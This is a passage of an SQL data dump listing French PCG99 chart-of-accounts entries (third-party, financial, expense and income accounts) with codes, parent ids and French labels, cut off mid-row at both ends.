17:28:15','PCG99-BASE','TIERS','418',238,'Clients - Produits non encore facturés',NULL,0,NULL,NULL,1,0,NULL,NULL),(244,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','TIERS','419',238,'Clients créditeurs',NULL,0,NULL,NULL,1,0,NULL,NULL),(245,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','TIERS','42',1504,'Personnel et comptes rattachés',NULL,0,NULL,NULL,1,0,NULL,NULL),(246,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','TIERS','421',245,'Personnel - Rémunérations dues',NULL,0,NULL,NULL,1,0,NULL,NULL),(247,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','TIERS','422',245,'Comités d\'entreprises, d\'établissement, ...',NULL,0,NULL,NULL,1,0,NULL,NULL),(248,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','TIERS','424',245,'Participation des salariés aux résultats',NULL,0,NULL,NULL,1,0,NULL,NULL),(249,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','TIERS','425',245,'Personnel - Avances et acomptes',NULL,0,NULL,NULL,1,0,NULL,NULL),(250,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','TIERS','426',245,'Personnel - Dépôts',NULL,0,NULL,NULL,1,0,NULL,NULL),(251,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','TIERS','427',245,'Personnel - Oppositions',NULL,0,NULL,NULL,1,0,NULL,NULL),(252,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','TIERS','428',245,'Personnel - Charges à payer et produits à recevoir',NULL,0,NULL,NULL,1,0,NULL,NULL),(253,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','TIERS','43',1504,'Sécurité sociale et autres organismes sociaux',NULL,0,NULL,NULL,1,0,NULL,NULL),(254,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','TIERS','431',253,'Sécurité sociale',NULL,0,NULL,NULL,1,0,NULL,NULL),(255,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','TIERS','437',253,'Autres organismes sociaux',NULL,0,NULL,NULL,1,0,NULL,NULL),(256,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','TIERS','438',253,'Organismes sociaux - Charges à payer et produits à recevoir',NULL,0,NULL,NULL,1,0,NULL,NULL),(257,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','TIERS','44',1504,'État et autres collectivités publiques',NULL,0,NULL,NULL,1,0,NULL,NULL),(258,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','TIERS','441',257,'État - Subventions à recevoir',NULL,0,NULL,NULL,1,0,NULL,NULL),(259,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','TIERS','442',257,'Etat - Impôts et taxes recouvrables sur des tiers',NULL,0,NULL,NULL,1,0,NULL,NULL),(260,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','TIERS','443',257,'Opérations particulières avec l\'Etat, les collectivités publiques, les organismes internationaux',NULL,0,NULL,NULL,1,0,NULL,NULL),(261,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','TIERS','444',257,'Etat - Impôts sur les bénéfices',NULL,0,NULL,NULL,1,0,NULL,NULL),(262,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','TIERS','445',257,'Etat - Taxes sur le chiffre d\'affaires',NULL,0,NULL,NULL,1,0,NULL,NULL),(263,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','TIERS','446',257,'Obligations cautionnées',NULL,0,NULL,NULL,1,0,NULL,NULL),(264,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','TIERS','447',257,'Autres impôts, taxes et versements assimilés',NULL,0,NULL,NULL,1,0,NULL,NULL),(265,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','TIERS','448',257,'Etat - Charges à payer et produits à recevoir',NULL,0,NULL,NULL,1,0,NULL,NULL),(266,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','TIERS','449',257,'Quotas d\'émission à restituer à l\'Etat',NULL,0,NULL,NULL,1,0,NULL,NULL),(267,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','TIERS','45',1504,'Groupe et associes',NULL,0,NULL,NULL,1,0,NULL,NULL),(268,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','TIERS','451',267,'Groupe',NULL,0,NULL,NULL,1,0,NULL,NULL),(269,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','TIERS','455',267,'Associés - Comptes courants',NULL,0,NULL,NULL,1,0,NULL,NULL),(270,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','TIERS','456',267,'Associés - Opérations sur le capital',NULL,0,NULL,NULL,1,0,NULL,NULL),(271,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','TIERS','457',267,'Associés - Dividendes à payer',NULL,0,NULL,NULL,1,0,NULL,NULL),(272,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','TIERS','458',267,'Associés - Opérations faites en commun et en G.I.E.',NULL,0,NULL,NULL,1,0,NULL,NULL),(273,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','TIERS','46',1504,'Débiteurs divers et créditeurs divers',NULL,0,NULL,NULL,1,0,NULL,NULL),(274,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','TIERS','462',273,'Créances sur cessions d\'immobilisations',NULL,0,NULL,NULL,1,0,NULL,NULL),(275,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','TIERS','464',273,'Dettes sur acquisitions de valeurs mobilières de placement',NULL,0,NULL,NULL,1,0,NULL,NULL),(276,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','TIERS','465',273,'Créances sur cessions de valeurs mobilières de placement',NULL,0,NULL,NULL,1,0,NULL,NULL),(277,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','TIERS','467',273,'Autres comptes débiteurs ou créditeurs',NULL,0,NULL,NULL,1,0,NULL,NULL),(278,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','TIERS','468',273,'Divers - Charges à payer et produits à recevoir',NULL,0,NULL,NULL,1,0,NULL,NULL),(279,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','TIERS','47',1504,'Comptes transitoires ou d\'attente',NULL,0,NULL,NULL,1,0,NULL,NULL),(280,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','TIERS','471',279,'Comptes d\'attente',NULL,0,NULL,NULL,1,0,NULL,NULL),(281,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','TIERS','476',279,'Différence de conversion - Actif',NULL,0,NULL,NULL,1,0,NULL,NULL),(282,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','TIERS','477',279,'Différences de conversion - Passif',NULL,0,NULL,NULL,1,0,NULL,NULL),(283,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','TIERS','478',279,'Autres comptes transitoires',NULL,0,NULL,NULL,1,0,NULL,NULL),(284,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','TIERS','48',1504,'Comptes de régularisation',NULL,0,NULL,NULL,1,0,NULL,NULL),(285,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','TIERS','481',284,'Charges à répartir sur plusieurs exercices',NULL,0,NULL,NULL,1,0,NULL,NULL),(286,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','TIERS','486',284,'Charges constatées d\'avance',NULL,0,NULL,NULL,1,0,NULL,NULL),(287,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','TIERS','487',284,'Produits constatés d\'avance',NULL,0,NULL,NULL,1,0,NULL,NULL),(288,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','TIERS','488',284,'Comptes de répartition périodique des charges et des produits',NULL,0,NULL,NULL,1,0,NULL,NULL),(289,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','TIERS','489',284,'Quotas d\'émission alloués par l\'Etat',NULL,0,NULL,NULL,1,0,NULL,NULL),(290,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','TIERS','49',1504,'Provisions pour dépréciation des comptes de tiers',NULL,0,NULL,NULL,1,0,NULL,NULL),(291,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','TIERS','491',290,'Provisions pour dépréciation des comptes de clients',NULL,0,NULL,NULL,1,0,NULL,NULL),(292,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','TIERS','495',290,'Provisions pour dépréciation des comptes du groupe et des associés',NULL,0,NULL,NULL,1,0,NULL,NULL),(293,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','TIERS','496',290,'Provisions pour dépréciation des comptes de débiteurs divers',NULL,0,NULL,NULL,1,0,NULL,NULL),(294,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','FINAN','50',1505,'Valeurs mobilières de placement',NULL,0,NULL,NULL,1,0,NULL,NULL),(295,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','FINAN','501',294,'Parts dans des entreprises liées',NULL,0,NULL,NULL,1,0,NULL,NULL),(296,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','FINAN','502',294,'Actions propres',NULL,0,NULL,NULL,1,0,NULL,NULL),(297,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','FINAN','503',294,'Actions',NULL,0,NULL,NULL,1,0,NULL,NULL),(298,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','FINAN','504',294,'Autres titres conférant un droit de propriété',NULL,0,NULL,NULL,1,0,NULL,NULL),(299,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','FINAN','505',294,'Obligations et bons émis par la société et rachetés par elle',NULL,0,NULL,NULL,1,0,NULL,NULL),(300,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','FINAN','506',294,'Obligations',NULL,0,NULL,NULL,1,0,NULL,NULL),(301,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','FINAN','507',294,'Bons du Trésor et bons de caisse à court terme',NULL,0,NULL,NULL,1,0,NULL,NULL),(302,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','FINAN','508',294,'Autres valeurs mobilières de placement et autres créances assimilées',NULL,0,NULL,NULL,1,0,NULL,NULL),(303,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','FINAN','509',294,'Versements restant à effectuer sur valeurs mobilières de placement non libérées',NULL,0,NULL,NULL,1,0,NULL,NULL),(304,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','FINAN','51',1505,'Banques, établissements financiers et assimilés',NULL,0,NULL,NULL,1,0,NULL,NULL),(305,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','FINAN','511',304,'Valeurs à l\'encaissement',NULL,0,NULL,NULL,1,0,NULL,NULL),(306,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','FINAN','512',304,'Banques',NULL,0,NULL,NULL,1,0,NULL,NULL),(307,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','FINAN','514',304,'Chèques postaux',NULL,0,NULL,NULL,1,0,NULL,NULL),(308,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','FINAN','515',304,'\"Caisses\" du Trésor et des établissements publics',NULL,0,NULL,NULL,1,0,NULL,NULL),(309,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','FINAN','516',304,'Sociétés de bourse',NULL,0,NULL,NULL,1,0,NULL,NULL),(310,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','FINAN','517',304,'Autres organismes financiers',NULL,0,NULL,NULL,1,0,NULL,NULL),(311,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','FINAN','518',304,'Intérêts courus',NULL,0,NULL,NULL,1,0,NULL,NULL),(312,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','FINAN','519',304,'Concours bancaires courants',NULL,0,NULL,NULL,1,0,NULL,NULL),(313,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','FINAN','52',1505,'Instruments de trésorerie',NULL,0,NULL,NULL,1,0,NULL,NULL),(314,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','FINAN','53',1505,'Caisse',NULL,0,NULL,NULL,1,0,NULL,NULL),(315,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','FINAN','531',314,'Caisse siège social',NULL,0,NULL,NULL,1,0,NULL,NULL),(316,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','FINAN','532',314,'Caisse succursale (ou usine) A',NULL,0,NULL,NULL,1,0,NULL,NULL),(317,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','FINAN','533',314,'Caisse succursale (ou usine) B',NULL,0,NULL,NULL,1,0,NULL,NULL),(318,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','FINAN','54',1505,'Régies d\'avance et accréditifs',NULL,0,NULL,NULL,1,0,NULL,NULL),(319,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','FINAN','58',1505,'Virements internes',NULL,0,NULL,NULL,1,0,NULL,NULL),(320,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','FINAN','59',1505,'Provisions pour dépréciation des comptes financiers',NULL,0,NULL,NULL,1,0,NULL,NULL),(321,1,NULL,'2018-01-22 17:28:15','PCG99-BASE','FINAN','590',320,'Provisions pour dépréciation des valeurs mobilières de placement',NULL,0,NULL,NULL,1,0,NULL,NULL),(322,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','EXPENSE','60',1506,'Achats',NULL,0,NULL,NULL,1,0,NULL,NULL),(323,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','EXPENSE','601',322,'Achats stockés - Matières premières (et fournitures)',NULL,0,NULL,NULL,1,0,NULL,NULL),(324,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','EXPENSE','602',322,'Achats stockés - Autres approvisionnements',NULL,0,NULL,NULL,1,0,NULL,NULL),(325,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','EXPENSE','603',322,'Variations des stocks (approvisionnements et marchandises)',NULL,0,NULL,NULL,1,0,NULL,NULL),(326,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','EXPENSE','604',322,'Achats stockés - Matières premières (et fournitures)',NULL,0,NULL,NULL,1,0,NULL,NULL),(327,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','EXPENSE','605',322,'Achats de matériel, équipements et travaux',NULL,0,NULL,NULL,1,0,NULL,NULL),(328,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','EXPENSE','606',322,'Achats non stockés de matière et fournitures',NULL,0,NULL,NULL,1,0,NULL,NULL),(329,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','EXPENSE','607',322,'Achats de marchandises',NULL,0,NULL,NULL,1,0,NULL,NULL),(330,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','EXPENSE','608',322,'(Compte réservé, le cas échéant, à la récapitulation des frais accessoires incorporés aux achats)',NULL,0,NULL,NULL,1,0,NULL,NULL),(331,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','EXPENSE','609',322,'Rabais, remises et ristournes obtenus sur achats',NULL,0,NULL,NULL,1,0,NULL,NULL),(332,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','EXPENSE','61',1506,'Services extérieurs',NULL,0,NULL,NULL,1,0,NULL,NULL),(333,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','EXPENSE','611',332,'Sous-traitance générale',NULL,0,NULL,NULL,1,0,NULL,NULL),(334,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','EXPENSE','612',332,'Redevances de crédit-bail',NULL,0,NULL,NULL,1,0,NULL,NULL),(335,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','EXPENSE','613',332,'Locations',NULL,0,NULL,NULL,1,0,NULL,NULL),(336,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','EXPENSE','614',332,'Charges locatives et de copropriété',NULL,0,NULL,NULL,1,0,NULL,NULL),(337,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','EXPENSE','615',332,'Entretien et réparations',NULL,0,NULL,NULL,1,0,NULL,NULL),(338,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','EXPENSE','616',332,'Primes d\'assurances',NULL,0,NULL,NULL,1,0,NULL,NULL),(339,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','EXPENSE','617',332,'Etudes et recherches',NULL,0,NULL,NULL,1,0,NULL,NULL),(340,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','EXPENSE','618',332,'Divers',NULL,0,NULL,NULL,1,0,NULL,NULL),(341,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','EXPENSE','619',332,'Rabais, remises et ristournes obtenus sur services extérieurs',NULL,0,NULL,NULL,1,0,NULL,NULL),(342,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','EXPENSE','62',1506,'Autres services extérieurs',NULL,0,NULL,NULL,1,0,NULL,NULL),(343,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','EXPENSE','621',342,'Personnel extérieur à l\'entreprise',NULL,0,NULL,NULL,1,0,NULL,NULL),(344,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','EXPENSE','622',342,'Rémunérations d\'intermédiaires et honoraires',NULL,0,NULL,NULL,1,0,NULL,NULL),(345,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','EXPENSE','623',342,'Publicité, publications, relations publiques',NULL,0,NULL,NULL,1,0,NULL,NULL),(346,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','EXPENSE','624',342,'Transports de biens et transports collectifs du personnel',NULL,0,NULL,NULL,1,0,NULL,NULL),(347,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','EXPENSE','625',342,'Déplacements, missions et réceptions',NULL,0,NULL,NULL,1,0,NULL,NULL),(348,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','EXPENSE','626',342,'Frais postaux et de télécommunications',NULL,0,NULL,NULL,1,0,NULL,NULL),(349,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','EXPENSE','627',342,'Services bancaires et assimilés',NULL,0,NULL,NULL,1,0,NULL,NULL),(350,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','EXPENSE','628',342,'Divers',NULL,0,NULL,NULL,1,0,NULL,NULL),(351,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','EXPENSE','629',342,'Rabais, remises et ristournes obtenus sur autres services extérieurs',NULL,0,NULL,NULL,1,0,NULL,NULL),(352,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','EXPENSE','63',1506,'Impôts, taxes et versements assimilés',NULL,0,NULL,NULL,1,0,NULL,NULL),(353,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','EXPENSE','631',352,'Impôts, taxes et versements assimilés sur rémunérations (administrations des impôts)',NULL,0,NULL,NULL,1,0,NULL,NULL),(354,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','EXPENSE','633',352,'Impôts, taxes et versements assimilés sur rémunérations (autres organismes)',NULL,0,NULL,NULL,1,0,NULL,NULL),(355,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','EXPENSE','635',352,'Autres impôts, taxes et versements assimilés (administrations des impôts)',NULL,0,NULL,NULL,1,0,NULL,NULL),(356,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','EXPENSE','637',352,'Autres impôts, taxes et versements assimilés (autres organismes)',NULL,0,NULL,NULL,1,0,NULL,NULL),(357,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','EXPENSE','64',1506,'Charges de personnel',NULL,0,NULL,NULL,1,0,NULL,NULL),(358,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','EXPENSE','641',357,'Rémunérations du personnel',NULL,0,NULL,NULL,1,0,NULL,NULL),(359,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','EXPENSE','644',357,'Rémunération du travail de l\'exploitant',NULL,0,NULL,NULL,1,0,NULL,NULL),(360,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','EXPENSE','645',357,'Charges de sécurité sociale et de prévoyance',NULL,0,NULL,NULL,1,0,NULL,NULL),(361,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','EXPENSE','646',357,'Cotisations sociales personnelles de l\'exploitant',NULL,0,NULL,NULL,1,0,NULL,NULL),(362,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','EXPENSE','647',357,'Autres charges sociales',NULL,0,NULL,NULL,1,0,NULL,NULL),(363,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','EXPENSE','648',357,'Autres charges de personnel',NULL,0,NULL,NULL,1,0,NULL,NULL),(364,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','EXPENSE','65',1506,'Autres charges de gestion courante',NULL,0,NULL,NULL,1,0,NULL,NULL),(365,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','EXPENSE','651',364,'Redevances pour concessions, brevets, licences, marques, procédés, logiciels, droits et valeurs similaires',NULL,0,NULL,NULL,1,0,NULL,NULL),(366,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','EXPENSE','653',364,'Jetons de présence',NULL,0,NULL,NULL,1,0,NULL,NULL),(367,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','EXPENSE','654',364,'Pertes sur créances irrécouvrables',NULL,0,NULL,NULL,1,0,NULL,NULL),(368,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','EXPENSE','655',364,'Quote-part de résultat sur opérations faites en commun',NULL,0,NULL,NULL,1,0,NULL,NULL),(369,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','EXPENSE','658',364,'Charges diverses de gestion courante',NULL,0,NULL,NULL,1,0,NULL,NULL),(370,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','EXPENSE','66',1506,'Charges financières',NULL,0,NULL,NULL,1,0,NULL,NULL),(371,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','EXPENSE','661',370,'Charges d\'intérêts',NULL,0,NULL,NULL,1,0,NULL,NULL),(372,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','EXPENSE','664',370,'Pertes sur créances liées à des participations',NULL,0,NULL,NULL,1,0,NULL,NULL),(373,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','EXPENSE','665',370,'Escomptes accordés',NULL,0,NULL,NULL,1,0,NULL,NULL),(374,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','EXPENSE','666',370,'Pertes de change',NULL,0,NULL,NULL,1,0,NULL,NULL),(375,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','EXPENSE','667',370,'Charges nettes sur cessions de valeurs mobilières de placement',NULL,0,NULL,NULL,1,0,NULL,NULL),(376,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','EXPENSE','668',370,'Autres charges financières',NULL,0,NULL,NULL,1,0,NULL,NULL),(377,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','EXPENSE','67',1506,'Charges exceptionnelles',NULL,0,NULL,NULL,1,0,NULL,NULL),(378,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','EXPENSE','671',377,'Charges exceptionnelles sur opérations de gestion',NULL,0,NULL,NULL,1,0,NULL,NULL),(379,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','EXPENSE','672',377,'(Compte à la disposition des entités pour enregistrer, en cours d\'exercice, les charges sur exercices antérieurs)',NULL,0,NULL,NULL,1,0,NULL,NULL),(380,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','EXPENSE','675',377,'Valeurs comptables des éléments d\'actif cédés',NULL,0,NULL,NULL,1,0,NULL,NULL),(381,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','EXPENSE','678',377,'Autres charges exceptionnelles',NULL,0,NULL,NULL,1,0,NULL,NULL),(382,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','EXPENSE','68',1506,'Dotations aux amortissements et aux provisions',NULL,0,NULL,NULL,1,0,NULL,NULL),(383,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','EXPENSE','681',382,'Dotations aux amortissements et aux provisions - Charges d\'exploitation',NULL,0,NULL,NULL,1,0,NULL,NULL),(384,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','EXPENSE','686',382,'Dotations aux amortissements et aux provisions - Charges financières',NULL,0,NULL,NULL,1,0,NULL,NULL),(385,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','EXPENSE','687',382,'Dotations aux amortissements et aux provisions - Charges exceptionnelles',NULL,0,NULL,NULL,1,0,NULL,NULL),(386,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','EXPENSE','69',1506,'Participation des salariés - impôts sur les bénéfices et assimiles',NULL,0,NULL,NULL,1,0,NULL,NULL),(387,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','EXPENSE','691',386,'Participation des salariés aux résultats',NULL,0,NULL,NULL,1,0,NULL,NULL),(388,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','EXPENSE','695',386,'Impôts sur les bénéfices',NULL,0,NULL,NULL,1,0,NULL,NULL),(389,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','EXPENSE','696',386,'Suppléments d\'impôt sur les sociétés liés aux distributions',NULL,0,NULL,NULL,1,0,NULL,NULL),(390,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','EXPENSE','697',386,'Imposition forfaitaire annuelle des sociétés',NULL,0,NULL,NULL,1,0,NULL,NULL),(391,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','EXPENSE','698',386,'Intégration fiscale',NULL,0,NULL,NULL,1,0,NULL,NULL),(392,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','EXPENSE','699',386,'Produits - Reports en arrière des déficits',NULL,0,NULL,NULL,1,0,NULL,NULL),(393,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','INCOME','70',1507,'Ventes de produits fabriqués, prestations de services, marchandises',NULL,0,NULL,NULL,1,0,NULL,NULL),(394,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','INCOME','701',393,'Ventes de produits finis',NULL,0,NULL,NULL,1,0,NULL,NULL),(395,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','INCOME','702',393,'Ventes de produits intermédiaires',NULL,0,NULL,NULL,1,0,NULL,NULL),(396,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','INCOME','703',393,'Ventes de produits résiduels',NULL,0,NULL,NULL,1,0,NULL,NULL),(397,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','INCOME','704',393,'Travaux',NULL,0,NULL,NULL,1,0,NULL,NULL),(398,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','INCOME','705',393,'Etudes',NULL,0,NULL,NULL,1,0,NULL,NULL),(399,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','INCOME','706',393,'Prestations de services',NULL,0,NULL,NULL,1,0,NULL,NULL),(400,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','INCOME','707',393,'Ventes de marchandises',NULL,0,NULL,NULL,1,0,NULL,NULL),(401,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','INCOME','708',393,'Produits des activités annexes',NULL,0,NULL,NULL,1,0,NULL,NULL),(402,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','INCOME','709',393,'Rabais, remises et ristournes accordés par l\'entreprise',NULL,0,NULL,NULL,1,0,NULL,NULL),(403,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','INCOME','71',1507,'Production stockée (ou déstockage)',NULL,0,NULL,NULL,1,0,NULL,NULL),(404,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','INCOME','713',403,'Variation des stocks (en-cours de production, produits)',NULL,0,NULL,NULL,1,0,NULL,NULL),(405,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','INCOME','72',1507,'Production immobilisée',NULL,0,NULL,NULL,1,0,NULL,NULL),(406,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','INCOME','721',405,'Immobilisations incorporelles',NULL,0,NULL,NULL,1,0,NULL,NULL),(407,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','INCOME','722',405,'Immobilisations corporelles',NULL,0,NULL,NULL,1,0,NULL,NULL),(408,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','INCOME','74',1507,'Subventions d\'exploitation',NULL,0,NULL,NULL,1,0,NULL,NULL),(409,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','INCOME','75',1507,'Autres produits de gestion courante',NULL,0,NULL,NULL,1,0,NULL,NULL),(410,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','INCOME','751',409,'Redevances pour concessions, brevets, licences, marques, procédés, logiciels, droits et valeurs similaires',NULL,0,NULL,NULL,1,0,NULL,NULL),(411,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','INCOME','752',409,'Revenus des immeubles non affectés à des activités professionnelles',NULL,0,NULL,NULL,1,0,NULL,NULL),(412,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','INCOME','753',409,'Jetons de présence et rémunérations d\'administrateurs, gérants,...',NULL,0,NULL,NULL,1,0,NULL,NULL),(413,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','INCOME','754',409,'Ristournes perçues des coopératives (provenant des excédents)',NULL,0,NULL,NULL,1,0,NULL,NULL),(414,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','INCOME','755',409,'Quotes-parts de résultat sur opérations faites en commun',NULL,0,NULL,NULL,1,0,NULL,NULL),(415,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','INCOME','758',409,'Produits divers de gestion courante',NULL,0,NULL,NULL,1,0,NULL,NULL),(416,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','INCOME','76',1507,'Produits financiers',NULL,0,NULL,NULL,1,0,NULL,NULL),(417,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','INCOME','761',416,'Produits de participations',NULL,0,NULL,NULL,1,0,NULL,NULL),(418,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','INCOME','762',416,'Produits des autres immobilisations financières',NULL,0,NULL,NULL,1,0,NULL,NULL),(419,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','INCOME','763',416,'Revenus des autres créances',NULL,0,NULL,NULL,1,0,NULL,NULL),(420,1,NULL,'2018-01-19 